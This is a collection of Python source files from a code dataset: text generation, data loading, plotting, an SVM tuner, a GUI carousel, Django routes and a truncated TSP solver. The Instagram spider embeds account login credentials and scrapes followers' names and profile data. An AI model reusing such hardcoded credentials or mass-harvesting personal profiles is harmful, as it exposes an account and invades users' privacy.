thirdfrequency:\n thirdtotalnum[firsttwowords] += 1\n if words[i+2] in thirdfrequency[firsttwowords]:\n thirdfrequency[firsttwowords][words[i+2]] += 1\n else:\n thirdfrequency[firsttwowords][words[i+2]] = 1\n else:\n thirdfrequency[firsttwowords] = {words[i+2]: 1}\n thirdtotalnum[firsttwowords] = 1\n txtfile.close()\n for word, totalnum in thirdtotalnum.items():\n for nextword, num in thirdfrequency[word].items():\n thirdfrequency[word][nextword] = num/totalnum\n return thirdfrequency \n\ndef main(filename, wordnum):\n pseudotext = ''\n\n if wordnum == 0:\n return pseudotext\n \n bwfre = beginwordfrequency(filename)\n \n firstword = np.random.choice(list(bwfre.keys()), p = list(bwfre.values()))\n pseudotext += firstword\n\n if wordnum == 1:\n return pseudotext\n\n swfre = secondwordfrequency(filename)\n \n secondword = np.random.choice(\n list(swfre[firstword].keys()), p = list(swfre[firstword].values()))\n pseudotext = pseudotext + ' ' + secondword\n\n if wordnum == 2:\n return pseudotext\n\n twfre = thirdwordfrequency(filename)\n\n for i in range(wordnum - 2):\n pseudotext += ' '\n thirdword = np.random.choice(\n list(twfre[firstword+secondword].keys()),\n p = list(twfre[firstword+secondword].values()))\n pseudotext += thirdword\n firstword = secondword\n secondword = thirdword\n print(pseudotext)\n\nmain(filename, wordnum)\n","sub_path":"python/markov_two.py","file_name":"markov_two.py","file_ext":"py","file_size_in_byte":5334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"259999940","text":"import sys\nimport pandas as pd\nfrom common.csv_loader import CSVLoader\nfrom utils.elasticsearch import ElasticsearchClient\nfrom utils.cli import CliClient\n\n\nclass MetricsLoader(CSVLoader):\n\n __INDEX_SUFFIX__ = \"_metrics\"\n\n def __init__(self):\n super().__init__()\n\n def load_data(self, index_name, filepaths, host, port):\n print(\"OPENING FILES\")\n\n data_tables = list(map(\n lambda filepath: self.extract_file(filepath), filepaths))\n print(\"TRANSFORM DATA\")\n data = self.transform_data(data_tables)\n\n print(\"LOAD INTO ES\")\n self.load_to_es(index_name + self.__INDEX_SUFFIX__,\n data, host=host, port=port)\n\n def transform_data(self, data):\n data = pd.merge(data[0], data[1], how=\"inner\")\n super().transform_data(data)\n return data\n\n\ndef main():\n CLI = CliClient('Metrics Loader')\n CLI.add_loader_argument(isFilepath=True)\n CLI.add_elasticsearch_arguments()\n\n print(\"STARTING QC METRICS LOAD\")\n args = CLI.get_args()\n loader = MetricsLoader()\n loader.load_data(args.index_name, args.file_paths,\n host=args.es_host, port=args.es_port)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"common/metrics_loader.py","file_name":"metrics_loader.py","file_ext":"py","file_size_in_byte":1226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"170672399","text":"# -*- coding: utf-8 -*-\n\nimport pandas as pd\n\n\n# %% Data\n\n__data = {\n \"North America\" : 1500,\n \"South America\" : 500,\n \"Europe\" : 1500,\n \"Asia\" : 2000,\n \"Australia and Oceania\" : 1000,\n \"Africa\": 500,\n \"Antartica\" : 1\n}\ns_data = pd.Series(__data, name=\"Sell\")\n\n# %% Draw Pie Chart\n\nplot = s_data.plot.pie(\n y='Sell', \n sort_columns=True,\n autopct=\"%.2f\",\n fontsize=20,\n figsize=(8, 8)\n )\n","sub_path":"pie_chart_01/pie_chart.py","file_name":"pie_chart.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"634667176","text":"import os\nimport sys\n\nimport Post\n\n\nclass FrontMatterTool:\n pass\n\n def __init__(self, post_dir):\n \"\"\"\n :param post_dir: 指定博客_post路径 包含_post\n :return:\n \"\"\"\n self.post_dir = post_dir\n\n def get_all_post_file(self, post_dir):\n \"\"\"\n 获取所有markdown文件\n :param file_path:\n :return:\n \"\"\"\n os.chdir(post_dir)\n all_file = os.listdir()\n files = []\n for f in all_file:\n if os.path.isdir(f):\n files.extend(self.get_all_post_file(post_dir + '/' + f))\n os.chdir(post_dir)\n else:\n if os.path.splitext(f)[-1][1:] == 'md':\n files.append(post_dir + '/' + f)\n return files\n\n def run(self):\n start = len(self.post_dir)\n files = self.get_all_post_file(self.post_dir)\n for file in files:\n categories = file[start:].split('/')[1:-1]\n print('file: %s' % file)\n Post.Post(file, categories).run()\n print('complete!')\n\n\nif __name__ == '__main__':\n params = sys.argv\n print('params', params)\n if len(params) > 1 and os.path.exists(params[1]) and os.path.isdir(params[1]):\n tool = FrontMatterTool(params[1]).run()\n else:\n print('os.path.exists(params[1])', os.path.exists(params[1]))\n print('os.path.isdir(params[1]', os.path.isdir(params[1]))\n\n raise Exception(\"未获取到有效参数\")\n","sub_path":"Tool.py","file_name":"Tool.py","file_ext":"py","file_size_in_byte":1494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"483072421","text":"# -*- coding: utf-8 -*-\nimport scrapy\nimport re\nimport json\nfrom scrapy.http import HtmlResponse\nfrom urllib.parse import urlencode\nfrom copy import deepcopy\nfrom instaparser.items import InstaparserItem\nfrom scrapy.loader import ItemLoader\n\n\ndef fetch_csrf_token(text):\n matched = re.search('\\\"csrf_token\\\":\\\"\\\\w+\\\"', text).group()\n return matched.split(':').pop().replace(r'\"', '')\n\n\nclass InstagramSpider(scrapy.Spider):\n name = 'instagram'\n allowed_domains = ['instagram.com']\n start_urls = ['https://instagram.com/']\n insta_login = \"artemmaiun\"\n insta_pass = \"#PWD_INSTAGRAM_BROWSER:10:1591722117:AUBQADIcrhyTHgb0+N/xydK3nvVQRQ4AY1m5x2bW44r1NCZjBPMiaISNA3VnmJkZYQcB1eURLEFG9lchtB60F3qEQ+NpAQDxceZ5ugkqkPouwVS3M5tB2qiZXvwwPrcyvDSS7J74r8S5EoYaua0=\"\n inst_login_link = 'https://instagram.com/accounts/login/ajax/'\n\n hash_followers = 'c76146de99bb02f6415203be841dd25a'\n hash_following = 'd04b0a864b4b54837c0d870b0e77e076'\n graphql_link = 'https://www.instagram.com/graphql/query/?'\n\n collection = None # for the name of the collection\n\n def __init__(self, users):\n self.users_list = users\n\n def parse(self, response):\n csrf_token = fetch_csrf_token(response.text)\n yield scrapy.FormRequest(\n self.inst_login_link,\n method='POST',\n callback=self.parse_user,\n formdata={'username': self.insta_login,\n 'enc_password': self.insta_pass},\n headers={'X-CSRFToken': csrf_token}\n )\n\n def parse_user(self, response):\n j_body = json.loads(response.text)\n if j_body['authenticated']:\n for user in self.users_list:\n self.collection = user\n yield response.follow(\n f'/{user}',\n callback=self.user_data_parse\n )\n\n def user_data_parse(self, response: HtmlResponse):\n user_parser = response.xpath(\"//script[contains(text(), 'csrf_token')]\").extract_first()[52:-10]\n user_parser = json.loads(user_parser)['entry_data']['ProfilePage'][0]['graphql']['user']\n\n variables = {\"id\": user_parser['id'],\n \"first\": 50\n }\n\n url_followers = f'{self.graphql_link}query_hash={self.hash_followers}&{urlencode(variables)}'\n\n yield response.follow(\n url_followers,\n callback=self.subscribers_parse,\n cb_kwargs={'variables': deepcopy(variables)}\n )\n\n\n def subscribers_parse(self, response, variables):\n j_body = json.loads(response.text)\n next_page_subscribers = j_body['data']['user']['edge_followed_by']['page_info']\n followers = j_body['data']['user']['edge_followed_by']['edges']\n for follower in followers:\n loader = ItemLoader(item=InstaparserItem())\n loader.add_value('_id', follower['node']['id'])\n loader.add_value('username', follower['node']['username'])\n loader.add_value('full_name', follower['node']['full_name'])\n loader.add_value('is_private', follower['node']['is_private'])\n loader.add_value('profile_pic_url', follower['node']['profile_pic_url'])\n loader.add_value('type_user', 'subscribers')\n yield loader.load_item()\n\n if next_page_subscribers.get('has_next_page'):\n variables['after'] = next_page_subscribers['end_cursor']\n\n url_posts = f'{self.graphql_link}query_hash={self.hash_followers}&{urlencode(variables)}'\n yield response.follow(\n url_posts,\n callback=self.subscribers_parse,\n cb_kwargs={'variables': deepcopy(variables)}\n )\n else:\n url_posts = f'{self.graphql_link}query_hash={self.hash_following}&{urlencode(variables)}'\n yield response.follow(\n url_posts,\n callback=self.subscriptions_parse,\n cb_kwargs={'variables': deepcopy(variables)}\n )\n\n def subscriptions_parse(self, response, variables):\n j_body = json.loads(response.text)\n next_page = j_body['data']['user']['edge_follow']['page_info']\n followings = j_body['data']['user']['edge_follow']['edges']\n for following in followings:\n loader = ItemLoader(item=InstaparserItem())\n loader.add_value('_id', following['node']['id'])\n loader.add_value('username', following['node']['username'])\n loader.add_value('full_name', following['node']['full_name'])\n loader.add_value('is_private', following['node']['is_private'])\n loader.add_value('profile_pic_url', following['node']['profile_pic_url'])\n loader.add_value('type_user', 'subscriptions')\n yield loader.load_item()\n\n if next_page.get('has_next_page'):\n variables['after'] = next_page['end_cursor']\n\n url_posts = f'{self.graphql_link}query_hash={self.hash_following}&{urlencode(variables)}'\n yield response.follow(\n url_posts,\n callback=self.subscribers_parse,\n cb_kwargs={'variables': deepcopy(variables)}\n )\n","sub_path":"instaparser/spiders/instagram.py","file_name":"instagram.py","file_ext":"py","file_size_in_byte":5296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"338882119","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Dec 1 17:00:23 2018\r\n\r\n@author: lj\r\n\"\"\"\r\n\r\nimport numpy as np\r\nfrom sklearn import svm\r\nfrom sklearn import cross_validation\r\nimport random\r\nimport matplotlib.pyplot as plt\r\n\r\n## 1.loading data\r\ndef load_data(data_file):\r\n '''\r\n # import training data\r\n input: data_file(string):file\r\n output: data(mat):sample feature\r\n label(mat):sample label\r\n '''\r\n data = []\r\n label = []\r\n f = open(data_file)\r\n for line in f.readlines():\r\n lines = line.strip().split(' ') # array\r\n # get label (the first item in each line)\r\n label.append(float(lines[0])) \r\n index = 0 \r\n tmp = []\r\n for i in range(1, len(lines)): # the remaining parts of array\r\n li = lines[i].strip().split(\":\") \r\n if int(li[0]) - 1 == index:\r\n tmp.append(float(li[1]))\r\n else:\r\n while(int(li[0]) - 1 > index):\r\n tmp.append(0)\r\n index += 1\r\n tmp.append(float(li[1]))\r\n index += 1\r\n while len(tmp) < 13:\r\n tmp.append(0)\r\n data.append(tmp)\r\n f.close()\r\n return np.array(data), np.array(label).T\r\n\r\n\r\n\r\n## 2. PSO优化算法\r\nclass PSO(object):\r\n def __init__(self,particle_num,particle_dim,iter_num,c1,c2,w,max_value,min_value):\r\n '''\r\n # initialize prams\r\n particle_num(int):number of particles\r\n particle_dim(int):dimension of particles\r\n iter_num(int):max iteration\r\n c1(float):local learning factor, weight of history best (pbest)\r\n c2(float):global learning factor, weight of global best (gbest)\r\n w(float):inertia factor, inertia of particles' past direction on present direction\r\n max_value(float):max pram value\r\n min_value(float):min pram value\r\n '''\r\n self.particle_num = particle_num\r\n self.particle_dim = particle_dim\r\n self.iter_num = iter_num\r\n self.c1 = c1 ## usually 2.0 pbest\r\n self.c2 = c2 ## usually 2.0 gbest\r\n self.w = w \r\n self.max_value = max_value\r\n self.min_value = min_value\r\n \r\n \r\n### 2.1 particle swarm initialization\r\n def swarm_origin(self):\r\n '''\r\n # initialize particle swarm\r\n input:self(object):PSO type\r\n output:particle_loc(list):particle swarm location list\r\n particle_dir(list):particle swarm direction list\r\n '''\r\n particle_loc = []\r\n particle_dir = []\r\n for i in range(self.particle_num): # each particle\r\n tmp1 = []\r\n tmp2 = []\r\n for j in range(self.particle_dim): # each dimension\r\n a = random.random()\r\n b = random.random()\r\n tmp1.append(a * (self.max_value - self.min_value) + self.min_value)\r\n tmp2.append(b)\r\n particle_loc.append(tmp1) # randnum within min-max range\r\n particle_dir.append(tmp2) # randnum 0-1\r\n \r\n return particle_loc,particle_dir\r\n\r\n## 2.2 calculate fitness function list; initialize pbest_parameters & gbest_parameter \r\n def fitness(self,particle_loc):\r\n '''\r\n # calculate fitness function\r\n input:self(object):PSO type\r\n particle_loc(list):particle swarm location list\r\n output:fitness_value(list):fitness function list\r\n '''\r\n fitness_value = []\r\n ### 1. generate fitness fuction RBF_SVM's 3_fold cross check mean\r\n for i in range(self.particle_num): # each particle\r\n rbf_svm = svm.SVC(kernel = 'rbf', C = particle_loc[i][0], gamma = particle_loc[i][1])\r\n cv_scores = cross_validation.cross_val_score(rbf_svm,trainX,trainY,cv =3,scoring = 'accuracy')\r\n fitness_value.append(cv_scores.mean())\r\n # get the list of present particle swarm's fitness values\r\n ### 2. find present particle swarm's best fitness value and its loc prams\r\n current_fitness = 0.0\r\n current_parameter = []\r\n for i in range(self.particle_num): # each particle\r\n if current_fitness < fitness_value[i]:\r\n current_fitness = fitness_value[i]\r\n current_parameter = particle_loc[i] # find the max fitness value and record the particle's loc\r\n\r\n return fitness_value,current_fitness,current_parameter \r\n \r\n # myself propose a new fitness function, it supposes to calculate energies but I'll just pretend the locs can represent energies\r\n def cal_fitness(self,particle_loc):\r\n '''\r\n # new way of defining a standard fitness value\r\n input:self(object):PSO type\r\n particle_loc(list):particle swarm location list\r\n output: fitness_value(list): a list of fitness values\r\n '''\r\n max_energy = 0.0\r\n min_energy = 1000.0\r\n fitness_value = []\r\n energy_list = []\r\n for list1 in range(self.particle_loc):\r\n for item in list1:\r\n sum_ += item*item\r\n energy = sum_**0.5\r\n energy_list.append(energy)\r\n if max_energy < energy:\r\n max_energy = energy\r\n if min_energy > energy:\r\n min_energy = energy\r\n for ene in energy_list:\r\n value = (ene-min_energy)/(max_energy-min_energy)\r\n fitness_value.append(value)\r\n \r\n return fitness_value\r\n \r\n \r\n \r\n\r\n## 2.3 update particle location \r\n def updata(self,particle_loc,particle_dir,gbest_parameter,pbest_parameters):\r\n '''\r\n # particle swarm location update\r\n input:self(object):PSO type\r\n particle_loc(list):particle swarm location list\r\n particle_dir(list):particle swarm direction list\r\n gbest_parameter(list):gbest\r\n pbest_parameters(list):history best for each particle\r\n output:particle_loc(list):new particle swarm location list\r\n particle_dir(list):new particle swarm direction list\r\n '''\r\n ## 1.calculate new quantum swarm direction and particle swarm location\r\n for i in range(self.particle_num): \r\n a1 = [x * self.w for x in particle_dir[i]]\r\n a2 = [y * self.c1 * random.random() for y in list(np.array(pbest_parameters[i]) - np.array(particle_loc[i]))]\r\n a3 = [z * self.c2 * random.random() for z in list(np.array(gbest_parameter) - np.array(particle_dir[i]))]\r\n particle_dir[i] = list(np.array(a1) + np.array(a2) + np.array(a3))\r\n# particle_dir[i] = self.w * particle_dir[i] + self.c1 * random.random() * (pbest_parameters[i] - particle_loc[i]) + self.c2 * random.random() * (gbest_parameter - particle_dir[i])\r\n particle_loc[i] = list(np.array(particle_loc[i]) + np.array(particle_dir[i]))\r\n \r\n ## 2.fixiate new quantum location within [min_value,max_value]\r\n ### 2.1 each pram's value list\r\n parameter_list = []\r\n for i in range(self.particle_dim):\r\n tmp1 = []\r\n for j in range(self.particle_num):\r\n tmp1.append(particle_loc[j][i])\r\n parameter_list.append(tmp1)\r\n ### 2.2 each pram's max min and mean value \r\n value = []\r\n for i in range(self.particle_dim):\r\n tmp2 = []\r\n tmp2.append(max(parameter_list[i]))\r\n tmp2.append(min(parameter_list[i]))\r\n value.append(tmp2)\r\n \r\n for i in range(self.particle_num):\r\n for j in range(self.particle_dim):\r\n particle_loc[i][j] = (particle_loc[i][j] - value[j][1])/(value[j][0] - value[j][1]) * (self.max_value - self.min_value) + self.min_value\r\n \r\n return particle_loc,particle_dir\r\n\r\n## 2.4 draw fitness function moving plot\r\n def plot(self,results):\r\n '''\r\n draw plot\r\n '''\r\n X = []\r\n Y = []\r\n for i in range(self.iter_num):\r\n X.append(i + 1)\r\n Y.append(results[i])\r\n plt.plot(X,Y)\r\n plt.xlabel('Number of iteration',size = 15)\r\n plt.ylabel('Value of CV',size = 15)\r\n plt.title('PSO_RBF_SVM parameter optimization')\r\n plt.show() \r\n \r\n## 2.5 main function \r\n def main(self):\r\n '''\r\n main function\r\n '''\r\n results = []\r\n best_fitness = 0.0 \r\n ## 1、particle swarm initialization\r\n particle_loc,particle_dir = self.swarm_origin()\r\n ## 2、initialize gbest_parameter、pbest_parameters、fitness_value list\r\n ### 2.1 gbest_parameter\r\n gbest_parameter = []\r\n for i in range(self.particle_dim):\r\n gbest_parameter.append(0.0)\r\n ### 2.2 pbest_parameters\r\n pbest_parameters = []\r\n for i in range(self.particle_num):\r\n tmp1 = []\r\n for j in range(self.particle_dim):\r\n tmp1.append(0.0)\r\n pbest_parameters.append(tmp1)\r\n ### 2.3 fitness_value\r\n fitness_value = []\r\n for i in range(self.particle_num):\r\n fitness_value.append(0.0)\r\n \r\n ## 3.iterations\r\n for i in range(self.iter_num):\r\n ### 3.1 calculate current fitness function list\r\n current_fitness_value,current_best_fitness,current_best_parameter = self.fitness(particle_loc)\r\n ### 3.2 calculate current gbest_parameter、pbest_parameters & best_fitness\r\n for j in range(self.particle_num):\r\n if current_fitness_value[j] > fitness_value[j]:\r\n pbest_parameters[j] = particle_loc[j]\r\n if current_best_fitness > best_fitness:\r\n best_fitness = current_best_fitness\r\n gbest_parameter = current_best_parameter\r\n \r\n print('iteration is :',i+1,';Best parameters:',gbest_parameter,';Best fitness',best_fitness)\r\n results.append(best_fitness)\r\n ### 3.3 update fitness_value\r\n fitness_value = current_fitness_value\r\n ### 3.4 update particle swarm\r\n particle_loc,particle_dir = self.updata(particle_loc,particle_dir,gbest_parameter,pbest_parameters)\r\n ## 4.show result\r\n results.sort()\r\n self.plot(results)\r\n print('Final parameters are :',gbest_parameter)\r\n \r\n\r\nif __name__ == '__main__':\r\n print('----------------1.Load Data-------------------')\r\n trainX,trainY = load_data('rbf_data')\r\n print('----------------2.Parameter Seting------------')\r\n particle_num = 100\r\n particle_dim = 2\r\n iter_num = 50\r\n c1 = 2\r\n c2 = 2\r\n w = 0.8\r\n max_value = 15\r\n min_value = 0.001\r\n print('----------------3.PSO_RBF_SVM-----------------')\r\n pso = PSO(particle_num,particle_dim,iter_num,c1,c2,w,max_value,min_value)\r\n pso.main()\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n","sub_path":"PSO_RBF_SVM.py","file_name":"PSO_RBF_SVM.py","file_ext":"py","file_size_in_byte":11247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"391000593","text":"#****** Carrusel de imagenes *******\n\n# Muestra las imagenes disponibles en\n# una dirección específica, con las \n# facilidades para ir hacia adelante\n# y hacia atrás en el carrusel.\n\n# Librerías necesarias\nfrom tkinter import *\n\n# para el trabajo con imágenes\nfrom PIL import ImageTk, Image\n\n# principal window\nwindow = Tk()\n\nwindow.title('Carrusel')\n\n#--- Carga de las imagenes --\n# revisar que primero se abre y \n# luego se pasa a tipo foto.\nimg1 = ImageTk.PhotoImage( Image.open('images/1.jpg') )\nimg2 = ImageTk.PhotoImage( Image.open('images/2.jpg') )\nimg3 = ImageTk.PhotoImage( Image.open('images/3.png') )\n\n# Creamos una lista con las imagenes creadas\nimage_list = [ img1, img2, img3]\n\n#-- Etiquetas con las imagene\nlbl_img = Label(window, image=img1)\n# la imagen tomará las 3 columnas\nlbl_img.grid( row=0, column=0,columnspan=3 )\n\n#--- Creamos las funciones: aelante y atrás---\ndef adelante(img_num):\n \n global lbl_img\n global btn_atras\n global btn_adelante\n \n # indicamos que la imagen debe olvidar lo que \n # tenia\n lbl_img.grid_forget()\n \n # se asigna el nuevo valor que tendrá\n # la imagen\n lbl_img = Label( window, image= image_list[ img_num ] )\n \n btn_atras = Button( window, text= '<-',\n command= lambda: atras( img_num -1 ))\n \n btn_adelante = Button( window, text= '->',\n command= lambda: adelante( img_num + 1 ))\n \n # Validación para evitar avanzar\n # cuando no hay imagene\n if img_num == 2:\n \n btn_adelante = Button( window, text= 'N/A', state= DISABLED)\n \n lbl_img.grid( row=0, column=0, columnspan=3 )\n \n btn_atras.grid( row=1, column=0 )\n btn_adelante.grid( row=1, column=2 )\n\n# atras\ndef atras(img_num):\n global lbl_img\n global btn_atras\n global btn_adelante\n \n # indicamos que la imagen debe olvidar lo que \n # tenia\n lbl_img.grid_forget()\n\n # se asigna el nuevo valor que tendrá\n # la imagen\n lbl_img = Label( window, image= image_list[ img_num ] )\n\n btn_atras = Button( window, text= '<-',\n command= lambda: atras( img_num -1 ))\n\n btn_adelante = Button( window, text= '->',\n command= lambda: adelante( img_num + 1 ))\n\n # Validación para evitar avanzar\n # cuando no hay imagene\n if img_num == 0:\n\n btn_atras = Button( window, text= 'N/A', state= DISABLED)\n\n lbl_img.grid( row=0, column=0, columnspan=3 )\n\n btn_atras.grid( row=1, column=0 )\n btn_adelante.grid( row=1, column=2 )\n\n\n \n#--- agregamos los botones ---\n# atras\nbtn_atras = Button( window, text= 'N/A', state=DISABLED) \nbtn_atras.grid( row=1, column=0 )\n\n#adelante\nbtn_adelante = Button( window, text= '->', command= lambda: adelante(1) )\nbtn_adelante.grid( row=1, column=2 )\n\n\nwindow.mainloop()\n","sub_path":"carrusel_test_1.py","file_name":"carrusel_test_1.py","file_ext":"py","file_size_in_byte":2822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"107600770","text":"from django.conf.urls import url, include\nfrom django.contrib import admin\nfrom .views import *\n\napp_name = 'expenses'\n\nurlpatterns = [\n \n # Regular URLs\n url(r'^daily-expenses/$', daily_expenses_view, name='daily_expenses_view'),\n url(r'^expense-archive/$', expense_archive_list, name='expense_archive_list'),\n url(r'^expense-archive/(?P<pk>[0-9]+)/$', expense_archive_detail, name='expense_archive_detail'),\n \n # Ajax URLs\n url(r'ajax/create-expense/$', create_expense),\n url(r'ajax/delete-expense/$', delete_expense),\n \n url(r'ajax/filter-expenses/$', filter_expenses),\n url(r'ajax/close-account/$', close_account)\n]\n","sub_path":"expenses/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"148648672","text":"# !/usr/bin/python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function\nfrom __future__ import print_function\nimport numpy as np\nimport heapq\nfrom threading import Thread, Condition\nimport time\nfrom mpi4py import MPI\n\ncomm = MPI.COMM_WORLD\nsize = comm.Get_size()\nrank = comm.Get_rank()\n\nexitflag = 0\nopt_cost = 99999\nedge_seq = [[]]\ncondition = Condition()\nfile_name = 'Input.csv'\n\n\n# Function for updating list\ndef update_lists(l, item):\n l.extend([item])\n return l\n\n\ndef string_output(line):\n file_nm = 'Logfile'+ str(rank)+'.txt'\n fw = open(file_nm, \"a\")\n fw.write(\"\\n\" + line )\n fw.close()\n# This class is implemented for function of priority queue\n\nclass PriorityQueue:\n def __init__(self):\n self._State_queue = []\n self._State_index = 0\n\n def push(self, item, priority):\n heapq.heappush(self._State_queue, (priority, self._State_index,\n item))\n string_output('Item pushed with priority ' + str(priority))\n self._State_index += 1\n\n def pop(self):\n self._State_index -= 1\n return heapq.heappop(self._State_queue)[-1]\n\n def isEmpty(self):\n return self._State_index == 0\n\n\n# This class is for representing graph\n\nclass garph_class:\n # Declaration of members of Class graph_class\n\n def __init__(self):\n self.vertex_count = 0\n self.get_count()\n self.graph = np.zeros((self.vertex_count, self.vertex_count),\n dtype=float)\n self.generate_edge()\n self.opt_cycle = []\n\n def get_count(self):\n global file_name\n m = np.loadtxt(file_name, delimiter=',')\n self.vertex_count = len(m)\n\n # This function collects\n\n def generate_edge(self):\n global file_name\n m = np.loadtxt(file_name, delimiter=',')\n for i in range(0, self.vertex_count):\n for j in range(0, self.vertex_count):\n self.graph[i][j] = m[i][j]\n\n # This function just displays the graph in adjacency graph\n\n def print_graph(self):\n print(self.graph.astype(int))\n\n\n# This is class represents\n\nclass State:\n # Declaration of members of class\n\n def __init__(\n self,\n g,\n n,\n id,\n l1,\n l2,\n r,\n s,\n ):\n self.cost = float\n self.include_list = l1\n self.exclude_list = l2\n self.graph = np.zeros((n, n), dtype=int)\n self.graph = g\n self.sequence_id = id\n self.saturated_vertex = s\n self.record = r\n self.degree = int(n - 1)\n\n # This function checks for vertex if it has already incident two\n # edges then it marks other to exclude list or vice vera\n\n def update_graph(self, vertex, flag):\n index = []\n global edge_seq\n\n if flag == 1:\n for i in self.include_list:\n if edge_seq[i][0] == vertex:\n update_lists(index, edge_seq[i][1])\n if edge_seq[i][1] == vertex:\n update_lists(index, edge_seq[i][0])\n for i in range(0, (self.degree + 1) * self.degree / 2):\n if vertex in edge_seq[i]:\n if set(index).isdisjoint(edge_seq[i]):\n if i not in self.exclude_list:\n self.graph[edge_seq[i][0]][edge_seq[i][1]] = \\\n 922337\n self.graph[edge_seq[i][1]][edge_seq[i][0]] = \\\n 922337\n update_lists(self.exclude_list, i)\n #print 'in update graph saturated vertex excludes edge:' \\\n #+ str(edge_seq[i])\n self.update_record(i, 0)\n\n # print self.record\n\n if edge_seq[i][0] == vertex:\n ind = edge_seq[i][1]\n elif edge_seq[i][1] == vertex:\n ind = edge_seq[i][0]\n if self.check_saturation(ind, 0):\n #print 'Automtically vertex saturated ' \\\n #+ str(ind)\n if ind not in self.saturated_vertex:\n update_lists(self.saturated_vertex,\n ind)\n self.update_graph(int(ind), 0)\n\n if flag == 0:\n for i in self.exclude_list:\n if edge_seq[i][0] == vertex:\n update_lists(index, edge_seq[i][1])\n if edge_seq[i][1] == vertex:\n update_lists(index, edge_seq[i][0])\n\n # print index\n\n for i in range(0, (self.degree + 1) * self.degree / 2):\n if vertex in edge_seq[i]:\n if set(index).isdisjoint(edge_seq[i]):\n if i not in self.include_list:\n update_lists(self.include_list, i)\n #print 'in update graph saturated vertex include edge:' \\\n #+ str(edge_seq[i])\n self.update_record(i, 1)\n\n # print self.record\n\n if edge_seq[i][0] == vertex:\n ind = edge_seq[i][1]\n elif edge_seq[i][1] == vertex:\n ind = edge_seq[i][0]\n if self.check_saturation(ind, 1):\n #print 'Automticaly vertex saturated ' \\\n #+ str(ind)\n if ind not in self.saturated_vertex:\n update_lists(self.saturated_vertex,\n ind)\n self.update_graph(int(ind), 1)\n\n # Cost calculation\n\n def calculate_cost(self):\n cost = 0\n\n # print self.graph\n\n itr = self.graph.argsort()\n for i in range(0, self.degree + 1):\n x = itr[i][0]\n y = itr[i][1]\n cost = cost + self.graph[i][x] + self.graph[i][y]\n # print str(self.graph[i][x]) + ' ' + str(self.graph[i][y])\n\n self.cost = cost / 2\n return self.cost\n\n def update_record(self, index, flag):\n global edge_seq\n i = edge_seq[index][0]\n j = edge_seq[index][1]\n if flag == 0:\n self.record[i][1] = self.record[i][1] - 1\n self.record[j][1] = self.record[j][1] - 1\n elif flag == 1:\n self.record[i][0] = self.record[i][0] + 1\n self.record[j][0] = self.record[j][0] + 1\n\n # print self.record\n\n def check_saturation(self, vertex, flag):\n if vertex not in self.saturated_vertex:\n if flag == 1:\n if self.record[vertex][0] == 2:\n #print 'Saturation check Success for ' + str(vertex)\n return True\n else:\n return False\n elif flag == 0:\n if self.degree + self.record[vertex][1] == 2:\n #print 'Saturation check Success for ' + str(vertex)\n return True\n else:\n return False\n else:\n #print('Oops')\n return True\n\n # This is the function checks if selected edge can be excluded or included and for possible states it calculates cost\n\n def check_exclude(self, index):\n global edge_seq\n i = edge_seq[index][0]\n j = edge_seq[index][1]\n\n # If vertex already have two incedent edges\n\n if self.check_saturation(i, 0) or self.check_saturation(j, 0):\n string_output(\"Can't add edge :\" + str(edge_seq[index]))\n return False\n update_lists(self.exclude_list, index)\n #string_output 'in check incidence excluded appended ' + str(index)\n #print 'Lists updated on exclude:'\n #print 'include-' + str(self.include_list)\n #print 'exclude-' + str(self.exclude_list)\n\n self.update_record(index, 0)\n\n # print \"check saturation...\"\n\n if self.check_saturation(i, 0):\n #print 'vertex saturated ' + str(i)\n if i not in self.saturated_vertex:\n update_lists(self.saturated_vertex, i)\n self.update_graph(int(i), 0)\n\n if self.check_saturation(j, 0):\n #print 'vertex saturated ' + str(j)\n if j not in self.saturated_vertex:\n update_lists(self.saturated_vertex, j)\n self.update_graph(int(j), 0)\n\n self.graph[i][j] = 922337\n self.graph[j][i] = 922337\n self.calculate_cost()\n return True\n\n # This is the function checks if selected edge can be excluded or included and for possible states it calculates cost\n\n def check_include(self, index):\n global edge_seq\n\n # When edge is to be included\n\n i = edge_seq[index][0]\n j = edge_seq[index][1]\n\n # If vertex already have two incedent edges\n\n if self.check_saturation(i, 0) or self.check_saturation(j, 0):\n string_output(\"Can't add edge :\" + str(edge_seq[index]))\n return False\n f = 0\n v = -1\n update_lists(self.include_list, index)\n\n string_output('Lists updated on include:')\n string_output('include-' + str(self.include_list))\n string_output('exclude-' + str(self.exclude_list))\n\n self.update_record(index, 1)\n\n # print \"Check saturation for vertex \" + str(i)\n\n if self.check_saturation(i, 1):\n f = f + 1\n\n # print \"vertex saturated \" + str(i)\n\n if i not in self.saturated_vertex:\n update_lists(self.saturated_vertex, i)\n self.update_graph(int(i), 1)\n v = i\n\n # print \"Check saturation for vertex \" + str(j)\n\n if self.check_saturation(j, 1):\n f = f + 1\n\n # print \"vertex saturated \" + str(j)\n\n if j not in self.saturated_vertex:\n update_lists(self.saturated_vertex, j)\n self.update_graph(int(j), 1)\n v = j\n\n if f == 0:\n\n # print \"flag =\" + str(f)\n\n cost = 0\n\n # print self.graph\n\n itr = self.graph.argsort()\n for x in range(0, self.degree + 1):\n if x is 